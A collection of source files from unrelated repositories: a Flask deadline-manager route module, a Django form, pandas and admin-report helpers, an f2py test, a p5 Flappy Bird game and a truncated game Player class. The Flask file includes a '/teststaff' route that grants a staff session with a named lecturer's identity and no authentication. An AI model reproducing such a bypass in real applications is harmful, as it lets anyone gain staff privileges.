+{"seq_id":"74587621815","text":"from flask import render_template, url_for, flash, redirect, session, Blueprint\nfrom flaskdeadline import db\nfrom flaskdeadline.models import Student, Module, Lecturer, Deadline, Coursework, Hours, ACCESS, Reliable\nfrom flaskdeadline.forms import DeadlineForm, ResponsibilityForm, StaffEditForm, BreakdownForm, GTAForm, OptimisationForm\nfrom sqlalchemy import update, func, and_\nfrom datetime import datetime\nfrom dateutil.tz import gettz\nimport time\nfrom flaskdeadline.utils import deadline_data, linear_opt, startdate_data\n\nteach = Blueprint('teach',__name__)\n\n\n@teach.route(\"/teststaff\")\ndef test():\n    session['id'] = 'jbarria'\n    session['name'] = 'Javier Barria'\n    session['email'] = 'j.barria@imperial.ac.uk'\n    session['access'] = ACCESS['staff']\n    return redirect(url_for('teach.staff'))\n\n\n\n@teach.route('/staff/<string:module>/<string:cw>/<string:date>/up')\ndef staff_upvote_deadline(module,cw,date):\n    user = None\n    if not session['samlUserdata']:\n        return redirect(url_for('main.landing'))\n    elif session['access'] == ACCESS['student']:\n        flash('You do not have access to this page', 'danger')\n        return redirect(url_for('students.home'))\n    else:\n        user = Lecturer.query.filter_by(id=session['id'],name=session['name'],email=session['email']).first()\n        if not user:\n            flash('User does not exist!', 'danger')\n            return redirect(url_for('main.landing'))\n    mod = Module.query.filter_by(title=module).first()\n    # Change Vote of deadline\n    to_change = Deadline.query.filter_by(lecturer=user,module=mod,coursework_id=cw,date = datetime.strptime(date, '%Y-%m-%d %H:%M:%S')).first()\n    if to_change:\n        if to_change.vote == \"Up\":\n            to_change.vote = \"Neutral\"\n        else:\n            to_change.vote=\"Up\"\n    else:\n        insert = Deadline(student_id = '',lecturer_id=user.id, module_id=mod.id,coursework_id=cw,date=datetime.strptime(date, '%Y-%m-%d %H:%M:%S'),vote=\"Up\")\n        db.session.add(insert)\n    db.session.commit()\n    return redirect(url_for('teach.staff'))\n\n@teach.route('/staff/<string:module>/<string:cw>/<string:date>/down')\ndef staff_downvote_deadline(module,cw,date):\n    user = None\n    if not session['samlUserdata']:\n        return redirect(url_for('main.landing'))\n    elif session['access'] == ACCESS['student']:\n        flash('You do not have access to this page', 'danger')\n        return redirect(url_for('students.home'))\n    else:\n        user = Lecturer.query.filter_by(id=session['id'],name=session['name'],email=session['email']).first()\n        if not user:\n            flash('User does not exist!', 'danger')\n            return redirect(url_for('main.landing'))\n    mod = Module.query.filter_by(title=module).first()\n    # Change Vote of deadline\n    to_change = Deadline.query.filter_by(lecturer=user,module=mod,coursework_id=cw,date = datetime.strptime(date, '%Y-%m-%d %H:%M:%S')).first()\n    if to_change:\n        if to_change.vote == \"Down\":\n            to_change.vote = \"Neutral\"\n        else:\n            to_change.vote = \"Down\"\n    else:\n        insert = Deadline(student_id = '', lecturer_id=user.id,module_id=mod.id,coursework_id=cw,date=datetime.strptime(date, '%Y-%m-%d %H:%M:%S'),vote=\"Down\")\n        db.session.add(insert)\n    db.session.commit()\n    return redirect(url_for('teach.staff'))\n\n@teach.route(\"/staff/gta/<string:module_title>\", methods=['GET', 'POST'])\ndef staff_gta_assignment(module_title):\n    if not session['samlUserdata']:\n        return redirect(url_for('main.landing'))\n    elif session['access'] == ACCESS['student']:\n        flash('You do not have access to this page', 'danger')\n        return redirect(url_for('students.home'))\n    form = GTAForm()\n    mod = Module.query.filter_by(title=module_title).first()\n    # Assigning GTA to the module     \n    student = db.session.query(Student).all()\n    form.gta.choices = sorted([m.id + \" - \" + m.name for m in student])\n    if form.validate_on_submit():\n        data = form.gta.data.split(\" - \")\n        gta = Student.query.filter_by(id=data[0]).first()\n        mod.gta_responsible.append(gta)\n        db.session.commit()\n        return redirect(url_for('teach.staff'))\n    return render_template('gta.html', form=form, mod=mod ,staff=True)\n\n@teach.route(\"/staff/cw/edit/<string:module_title>/<string:cw>\", methods=['GET', 'POST'])\ndef staff_edit_breakdown(module_title,cw):\n    if not session['samlUserdata']:\n        return redirect(url_for('main.landing'))\n    elif session['access'] == ACCESS['student']:\n        flash('You do not have access to this page', 'danger')\n        return redirect(url_for('students.home'))\n    form = BreakdownForm()\n    mod = Module.query.filter_by(title=module_title).first()\n    cwk = Coursework.query.filter_by(title=cw,module_id = mod.id).first()\n    original_title = cwk.title\n    if form.validate_on_submit():\n        #  Only edit title when the coursework title is different\n        if original_title != form.coursework_title.data:\n            cwk.title = form.coursework_title.data\n            db.session.commit()\n            # edit the coursework title with other Tables\n            stmt = update(Deadline).where(and_(Deadline.coursework_id==original_title, Deadline.module_id==mod.id)).values(coursework_id=form.coursework_title.data).execution_options(synchronize_session=\"fetch\")\n            stmt2 = update(Hours).where(and_(Hours.coursework_title==original_title, Hours.module_id==mod.id)).values(coursework_title=form.coursework_title.data).execution_options(synchronize_session=\"fetch\")\n            stmt3 = update(Reliable).where(and_(Reliable.coursework_title==original_title, Reliable.module_id==mod.id)).values(coursework_title=form.coursework_title.data).execution_options(synchronize_session=\"fetch\")\n            db.session.execute(stmt)\n            db.session.execute(stmt2)\n            db.session.execute(stmt3)\n        cwk.start_date = form.start_date.data\n        cwk.breakdown = form.breakdown.data\n        db.session.commit()\n        return redirect(url_for('teach.staff'))\n    return render_template('edit_breakdown.html', form=form, cwk=cwk,staff=True)\n\n@teach.route(\"/staff/module/new\", methods=['GET', 'POST'])\ndef new_staff_mod():\n    form = ResponsibilityForm()\n    user = None\n    if not session['samlUserdata']:\n        return redirect(url_for('main.landing'))\n    elif session['access'] == ACCESS['student']:\n        flash('You do not have access to this page', 'danger')\n        return redirect(url_for('students.home'))\n    else:\n        user = Lecturer.query.filter_by(id=session['id'],name=session['name'],email=session['email']).first()\n        if not user:\n            flash('User does not exist!', 'danger')\n            return redirect(url_for('main.landing'))\n    # Adding modules they are responsible for\n    if form.validate_on_submit():\n        check_id = Module.query.filter_by(id = form.id.data).first()\n        check_title = Module.query.filter_by(title = form.title.data).first()\n        # prevent any spelling errors,if either id or title is available, assign it to that first.\n        if check_id:\n            user.module_responsible.append(check_id)\n        elif check_title:\n            user.module_responsible.append(check_title)\n        else:\n            module = Module(id = form.id.data, title = form.title.data, ects = form.ects.data, content = form.content.data)\n            db.session.add(module)\n            user.module_responsible.append(module)\n        check_cw = Coursework.query.filter_by(title = form.coursework_title.data, module_id = form.id.data).first()\n        check_deadline = Deadline.query.filter_by(coursework_id = form.coursework_title.data, lecturer_id = user.id, module_id =form.id.data).first()\n        # Checking if deadline or coursework already exist\n        if check_cw:\n            check_cw.title = form.coursework_title.data\n            check_cw.breakdown  = form.breakdown.data\n            check_cw.start_date = form.start_date.data\n        else:\n            cw = Coursework(title = form.coursework_title.data, module_id = form.id.data, breakdown = form.breakdown.data, start_date = form.start_date.data)\n            db.session.add(cw)\n        if check_deadline:\n            check_deadline.date = form.date.data\n            check_deadline.vote = \"Up\"\n        else:\n            deadline = Deadline(coursework_id = form.coursework_title.data, lecturer_id = user.id, module_id =form.id.data,student_id = '', date = form.date.data, vote = \"Up\")\n            db.session.add(deadline)\n        db.session.commit()\n        return redirect(url_for('teach.staff'))\n    return render_template('staff_mod.html', form=form, staff=True)\n\n@teach.route('/staff/subscribe/<string:module>')\ndef remove_res(module):\n    user = None\n    if not session['samlUserdata']:\n        return redirect(url_for('main.landing'))\n    elif session['access'] == ACCESS['student']:\n        flash('You do not have access to this page', 'danger')\n        return redirect(url_for('students.home'))\n    else:\n        user = Lecturer.query.filter_by(id=session['id'],name=session['name'],email=session['email']).first()\n        if not user:\n            flash('User does not exist!', 'danger')\n            return redirect(url_for('main.landing'))\n    # Remove it if they accidentally said they were responsible for it\n    adding = Module.query.filter_by(id=module).first()\n    if adding in user.module_responsible:\n        user.module_responsible.remove(adding)\n    else:\n        user.module_responsible.append(adding)\n    db.session.commit()\n    return redirect(url_for('teach.staff'))\n\n@teach.route(\"/staff/deadline/new/<string:module_title>\", methods=['GET', 'POST'])\ndef staff_new_deadline(module_title):\n    form = DeadlineForm()\n    mod = Module.query.filter_by(title=module_title).first()\n    user = None\n    if not session['samlUserdata']:\n        return redirect(url_for('main.landing'))\n    elif session['access'] == ACCESS['student']:\n        flash('You do not have access to this page', 'danger')\n        return redirect(url_for('students.home'))\n    else:\n        user = Lecturer.query.filter_by(id=session['id'],name=session['name'],email=session['email']).first()\n        if not user:\n            flash('User does not exist!', 'danger')\n            return redirect(url_for('main.landing'))\n    if form.validate_on_submit():\n        # 2 checks: 1. User votes up on another deadline / 2. Deadline already exist and user voted already\n        deadline_check1 = Deadline.query.filter_by(module_id=form.id.data,coursework_id=form.coursework_title.data,lecturer_id=user.id,vote=\"Up\").all()\n        deadline_check2 = Deadline.query.filter_by(module_id=form.id.data,coursework_id=form.coursework_title.data,lecturer_id=user.id, date = form.date.data).first()\n        cw_check = Coursework.query.filter_by(module_id=form.id.data,title =form.coursework_title.data).first()\n        if not cw_check:\n            cw = Coursework(title = form.coursework_title.data, module_id =form.id.data, breakdown = form.breakdown.data, start_date = form.start_date.data)\n            db.session.add(cw)\n        # If user already subscribe to a deadline\n        if deadline_check1:\n            for element in deadline_check1:\n                element.vote = \"Neutral\"\n        if deadline_check2:\n            deadline_check2.vote = \"Up\"\n        else:\n            deadline = Deadline(coursework_id = form.coursework_title.data, student_id = '', module_id =form.id.data,lecturer_id = user.id, date = form.date.data, vote = \"Up\")\n            db.session.add(deadline)\n        db.session.commit()\n        return redirect(url_for('teach.staff'))\n    return render_template('new_deadline.html', form=form, mod=mod,staff=True)\n\n@teach.route(\"/staff/edit/<string:module_title>\", methods=['GET', 'POST'])\ndef staff_edit_mod(module_title):\n    if not session['samlUserdata']:\n        return redirect(url_for('main.landing'))\n    elif session['access'] == ACCESS['student']:\n        flash('You do not have access to this page', 'danger')\n        return redirect(url_for('students.home'))\n    form = StaffEditForm()\n    mod = Module.query.filter_by(title=module_title).first()\n    original_id = mod.id\n    original_title = mod.title\n    check_id = check_title = False\n    # Check if the title or module id already exist\n    if form.validate_on_submit():\n        if original_id != form.id.data:\n            check_id = Module.query.filter_by(id = form.id.data).first()\n        if original_title != form.title.data:\n            check_title = Module.query.filter_by(title = form.title.data).first()\n        if check_id or check_title:\n            flash('Module ID or title already exists', 'danger')\n        else:\n            mod.title = form.title.data\n            mod.id = form.id.data\n            mod.ects = form.ects.data\n            mod.content = form.content.data\n            db.session.commit()\n            # Change everywhere module id is used\n            stmt = update(Deadline).where(Deadline.module_id==original_id).values(module_id=form.id.data).execution_options(synchronize_session=\"fetch\")\n            stmt2 = update(Hours).where(Hours.module_id==original_id).values(module_id=form.id.data).execution_options(synchronize_session=\"fetch\")\n            stmt3 = update(Coursework).where(Coursework.module_id==original_id).values(module_id=form.id.data).execution_options(synchronize_session=\"fetch\")\n            stmt4 = update(Reliable).where(Reliable.module_id==original_id).values(module_id=form.id.data).execution_options(synchronize_session=\"fetch\")\n            db.session.execute(stmt)\n            db.session.execute(stmt2)\n            db.session.execute(stmt3)\n            db.session.execute(stmt4)\n            db.session.commit()\n            return redirect(url_for('teach.staff'))\n    return render_template('staff_update_mod.html', form=form, mod =mod,staff=True)\n\n\n@teach.route(\"/staff/feedback/<string:module>/<string:cw>\")\ndef staff_feedback(module,cw):\n    if not session['samlUserdata']:\n        return redirect(url_for('main.landing'))\n    elif session['access'] == ACCESS['student']:\n        flash('You do not have access to this page', 'danger')\n        return redirect(url_for('students.home'))\n    mod = Module.query.filter_by(title=module).first()\n    '''\n    Get feedback data in this format:\n    [('student_id',number of hours, expectation),...]\n    0 -> Less than expected, 1 -> Similar to expectation, 2 -> More than expected\n    '''\n    feedback_data = (db.session.query(Hours.student_id,Hours.hours,Hours.expected)\n    .group_by(Hours.student_id,Hours.hours,Hours.expected)\n     ).filter_by(module_id = mod.id,coursework_title=cw).all()\n    for i in range(len(feedback_data)):\n        if feedback_data[i][2] == 0:\n            feedback_data[i] = (feedback_data[i][0],feedback_data[i][1], \"Less Than Expected\")\n        elif feedback_data[i][2] == 1:\n            feedback_data[i] = (feedback_data[i][0],feedback_data[i][1], \"Similar to my Expectations\")\n        elif feedback_data[i][2] == 2:\n            feedback_data[i] = (feedback_data[i][0],feedback_data[i][1], \"More Than Expected\")\n    return render_template('staff_hours_data.html', attributes= feedback_data, staff= True)\n\n\n@teach.route('/staff/scheduling', methods=['GET', 'POST'])\ndef staff_intensity():\n    form = OptimisationForm()\n    user = None\n    if not session['samlUserdata']:\n        return redirect(url_for('main.landing'))\n    elif session['access'] == ACCESS['student']:\n        flash('You do not have access to this page', 'danger')\n        return redirect(url_for('students.home'))\n    else:\n        user = Lecturer.query.filter_by(id=session['id'],name=session['name'],email=session['email']).first()\n        if not user:\n            flash('User does not exist!', 'danger')\n            return redirect(url_for('main.landing'))\n    avail = Module.query.all()\n    teacher = user\n    data = None\n    label = None\n    names = None\n    cw = Coursework.query.all()\n    choices = [m.module.title + \" - \" + m.title for m in cw]\n    choices.append(\"---\")\n    form.c1.choices = sorted(choices)\n    form.c2.choices = sorted(choices)\n    form.c3.choices = sorted(choices)\n    form.c4.choices = sorted(choices)\n    form.c5.choices = sorted(choices)\n    start_dates_dict = {}\n    start_end_dates =[]\n    if form.validate_on_submit():\n        cwk_list = []\n        names = []\n        if form.c1.data != \"---\":\n            data = form.c1.data.split(\" - \")\n            cwk_list.append((data[0],data[1]))\n            names.append(form.c1.data)\n        if form.c2.data != \"---\":\n            data = form.c2.data.split(\" - \")\n            cwk_list.append((data[0],data[1]))\n            names.append(form.c2.data)\n        if form.c3.data != \"---\":\n            data = form.c3.data.split(\" - \")\n            cwk_list.append((data[0],data[1]))\n            names.append(form.c3.data)\n        if form.c4.data != \"---\":\n            data = form.c4.data.split(\" - \")\n            cwk_list.append((data[0],data[1]))\n            names.append(form.c4.data)\n        if form.c5.data != \"---\":\n            data = form.c5.data.split(\" - \")\n            cwk_list.append((data[0],data[1]))\n            names.append(form.c5.data)\n        ects_breakdown = []\n        for i in cwk_list:\n            mod = Module.query.filter_by(title=i[0]).first()\n            cw = Coursework.query.filter_by(title=i[1],module_id = mod.id).first()\n            deadline = Reliable.query.filter_by(coursework_title=i[1], module_id = mod.id).first()\n            ects_breakdown.append(cw.breakdown*mod.ects)\n            start_end_dates.append(cw.start_date.date())\n            start_end_dates.append(deadline.date.date())\n            start_dates_dict[i] = (cw.start_date.date(),deadline.date.date())\n        if len(ects_breakdown)!=5:\n            ects_breakdown = ects_breakdown + [0]*(5-len(ects_breakdown))\n        print(\"STart end: \",start_end_dates)\n        data,label = linear_opt(start_end_dates,ects_breakdown)\n        print(ects_breakdown)\n        print(start_end_dates)\n        if len(data)!=6:\n            data= data + [[0]]*(6-len(data))\n        if len(names)!=5:\n            names= names + [\"---\"]*(5-len(names))\n\n    return render_template(\"lin_opt.html\", display= start_dates_dict,  avail_modules = avail,form = form, staff= True,taking = teacher.module_responsible, user=teacher, label=label,date=data, cwk= names)\n\n\n\n@teach.route('/staff')\ndef staff():\n    user = None\n    if not session['samlUserdata']:\n        return redirect(url_for('main.landing'))\n    elif session['access'] == ACCESS['student']:\n        flash('You do not have access to this page', 'danger')\n        return redirect(url_for('students.home'))\n    else:\n        user = Lecturer.query.filter_by(id=session['id'],name=session['name'],email=session['email']).first()\n        if not user:\n            flash('User does not exist!', 'danger')\n            return redirect(url_for('main.landing'))\n    avail = Module.query.all()\n    teacher = user\n\n    # All modules responsible by the teacher\n    # Check which modules are taken by the teacher\n    check = [row.id for row in teacher.module_responsible]\n\n    # Deadlines that Lecturer voted for\n    deadlines_voted = Deadline.query.filter_by(lecturer_id=teacher.id).all()\n    # All deadlines subscribed by teacher\n    all_deadlines_subscribed = (db.session.query(Deadline.coursework_id,Deadline.module_id,Deadline.date,func.count(Deadline.vote).filter(Deadline.vote==\"Up\").label('# Upvote'),func.count(Deadline.vote).filter(Deadline.vote==\"Down\").label('# Downvote'),func.count(Deadline.vote).label(\"# people\"))\n    .group_by(Deadline.coursework_id,Deadline.module_id,Deadline.date)\n     ).filter(Deadline.module_id.in_(check)).all()\n\n    # Get the coursework start dates of all coursework \n    cw_startdate = (db.session.query(Coursework.title,Coursework.module_id,Coursework.start_date)\n     ).all()\n\n\n    # All other deadlines not subscribed by teacher\n    all_deadlines_else = (db.session.query(Deadline.coursework_id,Deadline.module_id,Deadline.date,func.count(Deadline.vote).filter(Deadline.vote==\"Up\"),func.count(Deadline.vote).filter(Deadline.vote==\"Down\"),func.count(Deadline.vote).label(\"# people\"))\n    .group_by(Deadline.coursework_id,Deadline.module_id,Deadline.date)\n     ).filter(Deadline.module_id.not_in(check)).all()\n\n\n    # Checking the average number of hours for each coursework\n    no_hours = {}\n    all_cw = Coursework.query.all()\n    for cw in all_cw:\n        avg_hrs = db.session.query(func.avg(Hours.hours).label('average')).filter_by(coursework_title=cw.title,module_id=cw.module_id).all()\n        count = db.session.query(func.count(Hours.hours).label('number')).filter_by(coursework_title=cw.title,module_id=cw.module_id).all()\n        if cw.module.title in no_hours:\n            no_hours[cw.module.title][cw.title] = (avg_hrs[0][0],count[0][0])\n        else:\n            no_hours[cw.module.title] = {cw.title:(avg_hrs[0][0],count[0][0])}\n\n    teacher_mod = deadline_data(all_deadlines_subscribed,deadlines_voted)\n    \n    all_else_mod = deadline_data(all_deadlines_else,deadlines_voted)\n    \n\n    return render_template(\"new_staff.html\", teacher_deadlines=teacher_mod, avail_modules = avail, taking = teacher.module_responsible, user=teacher, all_else=all_else_mod, staff=True, hours= no_hours, start = startdate_data(cw_startdate))\n\n","repo_name":"chernheng/Crowd-Sourced-Deadline-Manager","sub_path":"flaskdeadline/teach/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":21292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"34895108204","text":"from django import forms\nfrom .models import Snippet\nfrom django.contrib.auth.models import User\n\nclass SnippetForm(forms.ModelForm):\n    title = forms.CharField(widget=forms.TextInput(\n        attrs={'class': 'form-control', 'placeholder': 'Название..', 'style':'margin-bottom:15px;'}\n    ))\n    author = forms.ModelChoiceField(queryset=User.objects.all(), widget=forms.Select(\n        attrs={'class': 'form-control', 'style':'margin-bottom:15px;'}\n    ))\n    language = forms.CharField(widget=forms.TextInput(\n        attrs={'class': 'form-control', 'placeholder': 'Язык..', 'style':'margin-bottom:15px;'}\n    ))\n    code = forms.CharField(widget=forms.Textarea(\n        attrs={'class': 'form-control', 'rows': '10', 'placeholder': 'Code..', 'style':'margin-bottom:15px;'}\n    ))\n\n    class Meta:\n        model = Snippet\n\n        fields = ('title', 'author', 'language', 'code', )","repo_name":"open-cyb/website","sub_path":"opencyb/snippets/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"}
+{"seq_id":"39106120196","text":"import pandas as pd\n\n\ndef getDays2Weeks(df_simul_daily, model_group):\n    '''\n    model_detail, df_data_weekly, df_data_detail_weekly,\n    if model_detail:\n        df_simul_weekly = pd.DataFrame(columns=df_data_detail_weekly.columns)\n    else:\n        df_simul_weekly = pd.DataFrame(columns=df_data_weekly.columns)'''\n\n    df_simul_weekly = pd.DataFrame(columns=model_group)\n    for subgroup in model_group:\n        days_num = len(df_simul_daily[subgroup])\n        wks_num = int(days_num / 7.0)\n\n        simul_weekly = []\n        simul_daily = list(df_simul_daily[subgroup])\n\n        for i in range(wks_num):\n            simul_weekly.append(sum([simul_daily[j] for j in range(i * 7, (i + 1) * 7)]))\n\n        df_simul_weekly[subgroup] = simul_weekly\n\n    return df_simul_weekly\n","repo_name":"kSahatova/InfluenzaModeling","sub_path":"optimizers/aux_functions/weekly_functions.py","file_name":"weekly_functions.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"14588405631","text":"from datetime import timedelta\r\n\r\nfrom bson import ObjectId\r\nfrom dateutil.relativedelta import relativedelta\r\nfrom flask import session, jsonify\r\n\r\nfrom database.tracking.admins import Admin\r\nfrom utils.time import now, convert_to_utc, convert_from_utc\r\n\r\n\r\ndef clean_message(message):\r\n    if \"question_id\" in message and message[\"question_id\"]:\r\n        question_id = str(message[\"question_id\"])\r\n    else:\r\n        question_id = \"\"\r\n    cleaned_message = {\r\n        \"ic_number\": message[\"ic_number\"],\r\n        \"incoming\": message[\"incoming\"],\r\n        \"time\": message[\"time\"],\r\n        \"question_id\": question_id\r\n    }\r\n    return cleaned_message\r\n\r\n\r\ndef clean_user(user):\r\n    cleaned_user = {\r\n        \"custom_attributes\": user[\"custom_attributes\"],\r\n        \"needs_review\": \"Needs Review\" if user[\"needs_review\"] else \"OK\",\r\n        \"status\": user[\"status\"],\r\n        \"timezone\": user[\"timezone\"],\r\n    }\r\n    return cleaned_user\r\n\r\n\r\ndef clean_response_time(response_time):\r\n    cleaned_response_time = {\r\n        \"question_id\": str(response_time[\"question_id\"]),\r\n        \"response_time\": response_time[\"response_time\"],\r\n        \"store_date\": response_time[\"store_date\"]\r\n    }\r\n    return cleaned_response_time\r\n\r\n\r\ndef clean_schedule(schedule):\r\n    cleaned_schedule = {\r\n        \"subtype\": schedule[\"subtype\"],\r\n        \"send_hour\": schedule[\"send_hour\"],\r\n        \"question_days_of_week\": schedule[\"question_days_of_week\"],\r\n        \"date\": schedule[\"date\"],\r\n    }\r\n    return cleaned_schedule\r\n\r\n\r\ndef by_time_comparitor(a, b):\r\n    \"\"\" Sorts by time from earliest to latest (currently only supports sorting by [{\"time\": [VALUE] }]) \"\"\"\r\n    if (b[\"time\"] < a[\"time\"]):\r\n        return 1\r\n    else:\r\n        return -1\r\n\r\n\r\ndef return_empty_data(section):\r\n    \"\"\" Returns empty data set for ajax request depending on section \"\"\"\r\n    empty = {\r\n        \"__status__\": \"success\",\r\n    }\r\n    if section == \"messages\":\r\n        empty.update({\r\n            \"all\": [],\r\n            \"incoming\": [],\r\n            \"outgoing\": [],\r\n        })\r\n    elif section == \"response_times\":\r\n        empty.update({\r\n            \"expected\": 0,\r\n            \"response_times\": []\r\n        })\r\n    elif section == \"responses\":\r\n        empty.update({\r\n            \"data\": {\r\n                \"__none__\": {\r\n                    \"question_text\": \"(No questions with responses currently available)\",\r\n                    \"responses\": []\r\n                }\r\n            }\r\n        })\r\n    return jsonify(empty)\r\n\r\ndef construct_range_properties(current_time_local):\r\n    # this must be initalized here to take into account admin's current_time_local\r\n    return {\r\n        \"day\": {\r\n            \"interval\": timedelta(hours=1),\r\n            \"range\": timedelta(days=1),\r\n            \"rounding\": timedelta(minutes=current_time_local.minute,\r\n                                  seconds=current_time_local.second,\r\n                                  microseconds=current_time_local.microsecond)  # to nearest hour\r\n        },\r\n        \"week\": {\r\n            \"interval\": timedelta(hours=6),\r\n            \"range\": timedelta(weeks=1),\r\n            \"rounding\": timedelta(hours=current_time_local.hour % 6,\r\n                                  minutes=current_time_local.minute,\r\n                                  seconds=current_time_local.second,\r\n                                  microseconds=current_time_local.microsecond)  # to nearest 6 hours\r\n        },\r\n        \"month\": {\r\n            \"interval\": timedelta(days=1),\r\n            \"range\": relativedelta(months=1),\r\n            \"rounding\": timedelta(hours=current_time_local.hour,\r\n                                  minutes=current_time_local.minute,\r\n                                  seconds=current_time_local.second,\r\n                                  microseconds=current_time_local.microsecond)  # to nearest day\r\n        },\r\n        \"year\": {\r\n            \"interval\": relativedelta(months=1),\r\n            \"range\": relativedelta(years=1),\r\n            \"rounding\": timedelta(days=(current_time_local.day - 1),\r\n                                  # since we want 1st, not 0th, of the month\r\n                                  hours=current_time_local.hour,\r\n                                  minutes=current_time_local.minute,\r\n                                  seconds=current_time_local.second,\r\n                                  microseconds=current_time_local.microsecond)  # to nearest month\r\n        }\r\n    }\r\n\r\ndef assemble_admin_data(time_range, incoming_data, outgoing_data, all_data):\r\n    admin_timezone = Admin(ObjectId(session[\"admin_id\"]))[\"timezone\"]\r\n    current_time_utc = now()\r\n    current_time_local = convert_from_utc(current_time_utc, admin_timezone)\r\n    # this must be initalized here to take into account admin's current_time_local\r\n    range_properties = construct_range_properties(current_time_local)\r\n    time_period_start = current_time_local - range_properties[time_range][\"rounding\"] -\\\r\n                        range_properties[time_range][\"range\"]\r\n    time_period_position = time_period_start  # current position\r\n    time_period_counter = 0  # initialize counter\r\n    time_period_end = current_time_local\r\n    # initialize data lists\r\n    while time_period_position < time_period_end:\r\n        # iterate counter and position first\r\n        # Note: This will give us one additional month we don't want in the report, but we do want when we're comparing\r\n        # message times to the intervals. For example, adding a datetime month from the last day of February should\r\n        # yield the last day of March, but instead we get February 28 -> March 28. So we fix this by having the i+1\r\n        # date on the interval for comparison, and pop it out at the end)\r\n        time_period_counter += 1\r\n        time_period_position = time_period_start + (\r\n                    time_period_counter * range_properties[time_range][\"interval\"])\r\n        # append data\r\n        incoming_data.append({\r\n            \"time\": time_period_position,\r\n            \"time_utc\": convert_to_utc(time_period_position, admin_timezone),\r\n            \"count\": 0\r\n        })\r\n        outgoing_data.append({\r\n            \"time\": time_period_position,\r\n            \"time_utc\": convert_to_utc(time_period_position, admin_timezone),\r\n            \"count\": 0\r\n        })\r\n        all_data.append({\r\n            \"time\": time_period_position,\r\n            \"time_utc\": convert_to_utc(time_period_position, admin_timezone),\r\n            \"count\": 0\r\n        })","repo_name":"zagaran/instant-census","sub_path":"backend/admin_portal/data_reports_helpers.py","file_name":"data_reports_helpers.py","file_ext":"py","file_size_in_byte":6495,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"28555278364","text":"from __future__ import division, absolute_import, print_function\n\nimport os\nimport pytest\n\nfrom numpy.testing import assert_\nfrom . import util\n\n\ndef _path(*a):\n    return os.path.join(*((os.path.dirname(__file__),) + a))\n\n\nclass TestAssumedShapeSumExample(util.F2PyTest):\n    sources = [_path('src', 'assumed_shape', 'foo_free.f90'),\n               _path('src', 'assumed_shape', 'foo_use.f90'),\n               _path('src', 'assumed_shape', 'precision.f90'),\n               _path('src', 'assumed_shape', 'foo_mod.f90'),\n               ]\n\n    @pytest.mark.slow\n    def test_all(self):\n        r = self.module.fsum([1, 2])\n        assert_(r == 3, repr(r))\n        r = self.module.sum([1, 2])\n        assert_(r == 3, repr(r))\n        r = self.module.sum_with_use([1, 2])\n        assert_(r == 3, repr(r))\n\n        r = self.module.mod.sum([1, 2])\n        assert_(r == 3, repr(r))\n        r = self.module.mod.fsum([1, 2])\n        assert_(r == 3, repr(r))\n","repo_name":"ryfeus/lambda-packs","sub_path":"Opencv_pil/source36/numpy/f2py/tests/test_assumed_shape.py","file_name":"test_assumed_shape.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","stars":1104,"dataset":"github-code","pt":"22"}
+{"seq_id":"26032679934","text":"from p5 import *\nimport sys\n# insert at 1, 0 is the script path (or '' in REPL)\nsys.path.insert(1, \"./\" )\n\nimport numpy as np\n\nfrom lib.neuralnetwork import NeuralNetwork\nfrom models.Bird import Bird\nfrom models.Pipe import Pipe\n\n\n\nbird = None\npipes = []\ngamestate = True\ncount = 0\n\ndef setup():\n    size(400, 600)\n    startGame()\n    pipes.append(Pipe())\n\ndef draw():\n    background(118,88,152)\n    global bird, pipes, gamestate, count\n    for i in range(len(pipes)-1, -1, -1):\n        pipes[i].show()\n        pipes[i].update()\n        if pipes[i].hits(bird):\n            gamestate = False\n            for i in range(len(pipes)):\n                pipes[i].stopAnimation()\n\n        if pipes[i].offscreen():\n            pipes.pop(i)\n            bird.scoreAgain()\n    #Condition to stop game if player dies\n    #Used when there is no generic algorithm running\n    if frame_count % 45 == 0 and gamestate:\n        pipes.append(Pipe())\n    bird.update(gamestate)\n    bird.show()\n    bird.edges()\n    if bird.scored(pipes) and gamestate:\n        count += 1\n        print(bird.score)\n    \n    fill(255)\n    text(f\"Score: {count}\", (30, 30))\n\n\ndef key_pressed():\n    global bird, gamestate\n    if (key == ' '):\n        bird.up()\n\ndef mouse_pressed():\n    global gamestate, pipes, bird\n    if gamestate == False:\n        gamestate = True\n        pipes = []\n        bird = None\n        startGame()\n\ndef startGame():\n    global bird, count\n    bird = Bird()\n    count = 0\n\nif __name__ == '__main__':\n    run(frame_rate=60)\n\n","repo_name":"paulovictorcorreia/smartbird-p5py","sub_path":"flappybird.py","file_name":"flappybird.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"2650535415","text":"import copy\nimport pandas as pd\nfrom collections import Counter as cnt\nimport CharacterJSONprocess\nRoleTypesdf = CharacterJSONprocess.getrolesdf()\nRoleTypesdfdict = RoleTypesdf.to_dict(\"records\")\nRoleSidedict = {x['Role']:x['Side'] for x in RoleTypesdfdict}\nRoleTypesdict = {x['Role']:x['Type'] for x in RoleTypesdfdict}\n\nclass Player:\n    def __init__(self, name, role, alignment, note, type):\n        self.name = name\n        self.active = True\n        self.startingrole = role\n        self.rolenote = note\n        self.currentrole = role\n        self.startingalignment = alignment\n        self.startingtype = type\n        self.currentalignment = alignment\n        self.currenttype = type\n        self.alive = True\n        self.deadvoteused = False\n        self.hasability = False\n        self.abilityused = False\n        self.poisoned = False\n        self.startingroleimg = None\n        self.roleimg = None\n        self.win = None\n\n\n        self.deaths = []\n        self.kills = []\n\n    def startcommand(self):\n        self.rolechange(self.currentrole)\n        self.startingroleimg = self.getroleimg()\n\n    def getplayerstate(self):\n        return self.__dict__\n\n    def getroleimg(self):\n        if self.currentrole == \"ST\":\n            return \"https://raw.githubusercontent.com/bra1n/townsquare/develop/src/assets/demon-head.png\"\n        roleconverted = self.currentrole.replace(\"'\", '').replace(' ', '').replace('-', '').lower()\n        alignment = self.currentalignment.lower()\n        health = \"ill\" if self.poisoned else 